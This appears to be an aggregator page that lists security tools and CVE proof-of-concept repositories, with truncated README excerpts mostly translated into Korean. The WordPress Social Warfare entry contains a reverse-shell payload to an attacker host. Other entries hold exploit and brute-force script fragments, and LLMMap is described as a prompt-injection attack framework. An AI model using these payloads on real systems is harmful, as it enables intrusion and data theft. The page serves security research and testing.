haruspex

haruspex "Hacking is the discipline of questioning all your assumptions all of the time." -- Dave Aitel Haruspex is a blazing fast IDA headless plugin that extracts pseudocode generated by IDA's decompiler in a format that should be suitable to be imported into an IDE, or parsed by static analysi...

CVE-2020-1611

Juniper Junos Space 19.4R1 이전 버전의 로컬 파일 포함 취약점 CVE-2020-1611 PoC Juniper Junos Space 19.4R1 이전 버전은 로컬 파일 포함 취약점에 취약합니다. 일반 사용자 권한을 가진 공격자가 이 취약점을 악용할 수 있습니다. "보고서 다운로드Download Report" 기능이 취약합니다. 기본 점수: 6.5 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 링크:...

POC-CVE-2021-41773

POC-CVE-2021-41773 2021년 10월 5일, Apache HTTP Server v2.4.49에서 경로 탐색 공격을 상세히 설명하는 CVE가 공개되었습니다. CVE-2021-41773이라는 번호가 할당되었으며, 다음과 같은 설명과 함께 공개되었습니다: Apache HTTP Server 2.4.49의 경로 정규화 변경 사항에서 결함이 발견되었습니다. 공격자는 경로 탐색 공격을 사용하여 예상된 문서 루트 외부의 파일에 URL을 매핑할 수 있습니다. 문서 루트 외부의 파일이 "require all denied"로 보호되...

CVE-2025-0133

CVE-2025-0133 漏洞扫描器 一个基于Bash的自动化扫描工具，用于检测 Palo Alto GlobalProtect 网关和门户 中的 CVE-2025-0133 反射型XSS漏洞，使用 nuclei 和 shodanx。 作者 : 日期 : 2025-06-23 严重性 : 中 CVE ID : CVE-2025-0133 漏洞类型 : 反射型跨站脚本 XSS 测试对象 : Palo Alto Networks GlobalProtect 门户 PAN-OS 概述...

CVE-2025-48384

CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...

ShadowSteal

ShadowSteal | CVE-2021-36934 CVE-2021-36934을 악용하기 위한 순수 Nim 구현, SeriousSAM 로컬 권한 상승LPE. OPSEC에 안전하지 않음... 아직은 ;. 이 익스플로잇의 발견에 대한 공로를 주장하지 않습니다. 빠른 시작 Docker로 빌드 ShadowSteal을 시작하는 것이 Docker 덕분에 그 어느 때보다 쉬워졌습니다! Nim 종속성을 설치하는 데 번거로움을 원하지 않으세요? 내가 도와줄게요! Python 스크립트를 실행하여 Docker 빌드 환경을 만들고, 바이너리를...

cve-2022-33891

CVE-2022-33891 Apache Spark 셸 명령 삽입 취약점 Apache Spark 셸 명령 삽입 취약점을 악용하기 위한 Python POC입니다. 다른 POC들도 몇 개 봤지만 뭔가 매우 수상해 보였습니다. 이건 깔끔하고 단순합니다. 이 익스플로잇/취약점을 발견한 것은 아닙니다. 그냥 커뮤니티를 위해 안전한 POC를 만들고 싶었을 뿐입니다 ^.^ CVE는 Databricks의 Kostya Kortchinsky가 원래 발견했습니다. 2022년 9월 7일 업데이트: 이제 이거 위한 Metasploit 모듈이 나왔습니다...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2021-44228-demo

log4j-shell-poc 최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명PoC입니다. 최근 log4jJava 로깅 라이브러리에서 새로운 취약점이 발견되었습니다. 이 라이브러리는 Elasticsearch, Minecraft 등 많은 곳에서 널리 사용됩니다. 이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명PoC 익스플로잇이 포함되어 있습니다. 개념 증명PoC PoC로 프로세스를 자동화하는 Python 파일이 있습니다. 요구 사항: root@kitploit: pip install -r...

rainmap-lite

rainmap-lite Rainmap Lite - ユーザーがスマホ/タブレット/ウェブブラウザからNmapスキャンを実行できるレスポンシブWebアプリケーションです。 先行バージョン1とは異なり、Rainmap-liteは特別なサービス（RabbitMQ、PostgreSQL、Celery、supervisorなど）を必要としないため、どのサーバーにも簡単にインストールできます。Djangoアプリケーションをインストールし、cronポーリングタスクを追加するだけで、新しいスキャンサーバーをセットアップできます。誰でも外出先でNmapスキャンが可能です！ 1 Rainmap -...

Learn-about-cve-2025-31133-poc

CVE-2025-31133-PoC 학습하기 개요 CVE-2025-31133 에 대한 개념 증명 데모 및 학습 환경입니다. 이는 runc의 보안 취약점으로, 경쟁 조건을 통해 maskedPaths 보호를 우회할 수 있습니다. maskedPaths는 컨테이너가 민감한 호스트 파일 시스템 경로에 접근하는 것을 방지하도록 설계되었습니다. https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910 👉 이 저장소는 Black Hat 트레이닝에서 가르치는...

CVE-2026-13158

CVE-2026-13158: Everest Toolkit 빠른 링크: DEV.to 글에서 전체 심층 기술 권고를 읽거나 연구원의 공식 사이버보안 포트폴리오를 확인하세요. 📌 요약 및 기술 메타데이터 🔍 근본 원인 분석 CVE-2026-13158의 근본 원인은 EverestToolkit 관리자 핸들러 클래스 내의 안전하지 않은 파일 업로드 처리에서 비롯됩니다. 인증된 관리자 또는 관리 권한을 가진 사용자가 파일 업로드 엔드포인트예: 템플릿 가져오기, 사용자 지정 아이콘 업로드, 자산 구성 루틴를 호출할 때, 플러그인은 실행 가능...

asm-copyfail

CVE-2026-31431 Copy Fail — x86-64 어셈블리어 분석 및 개발 Theori에 게시된 소스 코드를 기반으로, 완전히 순수 어셈블리 언어외부 라이브러리 없음로 변환할 때까지 여러 연습을 수행할 것입니다.python !/usr/bin/env python3 Archivo: copyfail.py import os as g,zlib,socket as s def dx:return bytes.fromhexx def cf,t,c:...

CVE-2024-0582

RU GenIoURingExploit 는 Linux 커널의 특정 취약점CVE-2024-0582을 대상으로 하는 PoC 익스플로잇입니다. 이 PoC는 iouring 메커니즘을 활용하여 소켓 버퍼를 조작하고 특정 커널 동작을 유발함으로써 의도하지 않은 액세스를 얻고 잠재적으로 권한을 상승시킵니다. 특징 효율적인 버퍼 조작을 위해 iouring 활용 KASLR커널 주소 공간 레이아웃 무작위화 누출 시연 소켓 버퍼 관리 관련 취약점 악용 제어된 IOCTL 호출을 통해 익스플로잇 트리거 커널 조작을 통한 임의 셸 명령 실행 경로 제공 ...

CVE-2025-69906-Monstra-CMS-3.0.4-Arbitrary-File-Upload-to-RCE

이 내용을 readme.md로 만들어 붙여넣으세요. CVE-2025-69906: Monstra CMS 3.0.4 임의 파일 업로드를 통한 원격 코드 실행 RCE 작성자 : David PS Abraham 날짜 : 2026년 2월 5일 심각도 : 치명적 - 원격 코드 실행 CVSS 8.8+ CWE : 434 위험한 유형의 파일 무제한 업로드 취약점 설명 Monstra CMS v3.0.4의 파일 관리자 플러그인plugins/box/filesmanager/filesmanager.admin.php은 블랙리스트 기반 파일 확장자 검증 을...

CVE-2023-6241-Pixel7_Adaptation

Google Pixel 7용 CVE-2023-6241 이 저장소는 securitylab이 자체 GitHub 저장소에서 공개한, Google Pixel 8에서 작동하는 익스플로잇을 Google Pixel 7에 맞게 조정하는 방법을 설명합니다. 익스플로잇 수정을 시작하기 전에, 원래 익스플로잇이 필요한 패치 적용 후 Google Pixel 7 기기에서도 작동할 것이라는 가정은 CVE-2023-6241과 관련된 기사를 기반으로 세웠습니다. 이는 두 기기가 하드웨어 측면에서 서로 다른 것처럼 보이기 때문에 필요했습니다 비교. 도구 분...

faraday-cli

Faraday on the terminal Use faraday directly from your favorite terminal faraday-cli is the official client that make automating your security workflows, easier. Before installing, we recommend creating and activating a Python virtual environment to avoid affecting your system Python packages. Fo...

CVE-2018-16167

설치 및 실행 순서 0. LogonTracer 설치 취약점이 발견되었던 1.2. 0 버전의 logontracer를 dockerhub에서 내려 받습니다. root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. LogonTracer 실행 다음 명령어로 컨테이너에 올립니다. root@kitploit: $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e...

CVE-2023-32784

keepass-dump-masterkey 사용법 python3 poc.py 미리보기 참고로 덤프에서는 첫 번째 문자를 찾을 수 없으며, 두 번째 문자에 대해서는 스크립트가 몇 가지 가능성만 제공합니다. 어쨌든 아래 스크립트를 사용하여 2자에 대해 브루트포스를 실행하는 것을 권장합니다. root@kitploit: !/bin/sh Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt wordlist with 2 char while read i do echo "Using password:...

LLMMap

LLMMap LLMMap 은 LLM 통합 애플리케이션을 위한 자동화된 프롬프트 인젝션 테스트 프레임워크입니다. HTTP 요청에서 인젝션 포인트를 발견하고, 이중 LLM 아키텍처를 사용하여 목표 지향적인 공격 프롬프트를 생성하며, 이를 대상에 전송하고 통계적 신뢰성 테스트를 통해 결과를 확인합니다. sqlmap에서 영감을 받은 LLMMap은 동일한 체계적이고 증거 기반의 접근 방식을 LLM 보안 테스트에 적용합니다. 법적 고지: 사전 상호 동의 없이 LLMMap을 사용하여 대상을 공격하는 것은 불법입니다. 최종 사용자는 모든 관...